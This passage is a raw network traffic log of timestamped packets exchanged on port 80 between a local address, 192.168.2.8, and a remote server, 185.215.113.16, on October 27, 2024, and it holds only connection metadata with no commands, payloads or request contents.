Oct 27, 2024 17:55:22.422756910 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.422790051 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.422805071 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.422821045 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.422825098 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.422837019 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.422852039 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.422857046 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.423149109 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.463646889 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.463670969 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.463685989 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.463701010 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.463716030 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.463733912 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.463748932 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.463753939 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.463767052 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.463778973 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.463795900 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.465969086 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.466017962 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.466018915 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.466037035 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.466059923 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.466073990 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.466095924 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.466250896 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.466298103 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.466312885 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.466327906 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.466342926 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.466347933 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.466382980 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.466614008 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.466722012 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.466738939 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.466767073 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.466773033 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.466784000 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.466789961 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.466804981 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.466829062 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.467094898 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.467139006 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.467159986 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.467183113 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.467233896 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.502087116 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.502104044 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.502120018 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.502135992 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.502209902 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.503021955 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.503036022 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.503077984 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.503139973 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.503154993 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.503180027 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.503196001 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.503205061 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.503228903 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.503484964 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.503499985 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.503537893 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.503552914 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.503560066 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.503568888 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.503583908 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.503592968 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.503624916 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.504168987 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.504184008 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.504199028 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.504249096 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.504686117 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.522895098 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.538753033 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.538772106 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.538788080 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.538805008 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.538832903 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.538857937 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.538873911 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.538889885 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.538913965 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.538938046 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.538954020 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.538986921 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.539345026 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.539361000 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.539376020 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.539398909 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.539422989 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.539432049 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.539448977 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.539482117 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.539783955 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.539819002 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.539834976 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.539874077 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.539905071 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.539921045 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.539936066 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.539952040 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.539959908 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.539968014 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.539989948 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.540007114 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.540468931 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.540503979 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.540518999 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.540544033 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.540584087 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.540600061 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.540637970 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.580920935 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.580945969 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.580961943 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.580991983 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.581001043 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.581007957 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.581032991 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.581044912 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.581049919 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.583276033 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.583332062 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.583348036 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.583363056 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.583376884 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.583432913 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.583610058 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.583633900 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.583651066 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.583666086 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.583695889 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.583725929 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.583771944 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.583811045 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.583821058 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.583828926 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.583851099 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.583875895 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.584132910 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.584183931 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.584188938 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.584208965 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.584247112 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.584261894 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.584261894 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.584276915 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.584322929 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.584777117 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.584789991 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.584835052 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.619704008 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.619721889 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.619739056 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.619752884 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.619803905 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.619803905 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.619836092 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.619993925 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.620487928 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.620517015 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.620531082 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.620615005 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.620630980 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.620644093 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.620647907 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.620676994 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.620749950 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.620846033 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.620862007 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.620877981 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.620908022 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.620980024 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.620997906 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.621012926 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.621042967 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.621120930 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.621437073 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.621453047 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.621467113 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.621483088 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.621495008 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.621679068 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.656512976 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.656547070 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.656563997 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.656578064 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.656593084 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.656610012 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.656610966 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.656626940 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.656641960 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.656645060 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.656665087 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.656697035 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.656718016 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.656733990 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.656764030 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.656946898 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.656961918 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.656975985 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.657031059 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.657031059 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.657370090 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.657387972 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.657402992 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.657434940 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.657464027 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.657479048 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.657495022 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.657510042 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.657510996 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.657569885 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.657589912 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.657607079 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.657635927 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.658080101 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.658094883 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.658109903 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.658190966 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.658214092 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.698537111 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.698565006 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.698681116 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.698693991 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.698708057 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.698734999 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.698868990 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.700798035 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.700814009 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.700829029 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.700881004 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.700911045 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.700928926 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.701011896 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.701019049 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.701029062 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.701042891 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.701059103 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.701073885 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.701337099 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.701368093 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.701384068 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.701399088 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.701560974 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.701591969 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.701615095 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.701632977 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.701647043 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.701674938 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.701736927 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.701896906 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.701972008 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.701992035 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.702008009 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.702022076 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.702049971 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.703285933 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.703445911 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.703461885 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.703521013 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.714276075 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.737355947 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.737374067 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.737389088 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.737482071 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.738187075 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.738203049 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.738219023 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.738233089 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.738249063 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.738311052 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.738325119 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.738526106 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.738540888 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.738555908 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.738595009 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.738645077 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.738704920 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.738718987 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.738739014 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.738770008 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.738790989 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.738806963 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.738823891 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.738832951 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.738882065 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.738976002 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.738991976 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.739006042 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.739028931 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.739537001 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.739588976 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.773690939 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.773710966 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.773736000 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.773752928 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.773814917 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.773814917 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.773814917 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.773830891 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.773847103 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.773861885 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.773890972 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.773957968 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.774095058 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.774146080 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.774179935 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.774195910 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.774211884 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.774327993 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.774694920 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.774708986 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.774724007 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.774759054 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.774775982 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.774776936 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.774787903 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.774791002 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.774817944 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.775083065 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.775095940 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.775207043 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.775223017 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.775238037 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.775274992 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.775274992 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.775274992 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.775444031 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.775459051 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.775495052 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.775510073 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.775516033 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.775527000 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.775542974 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.775558949 CET	49713	80	192.168.2.8	185.215.113.16
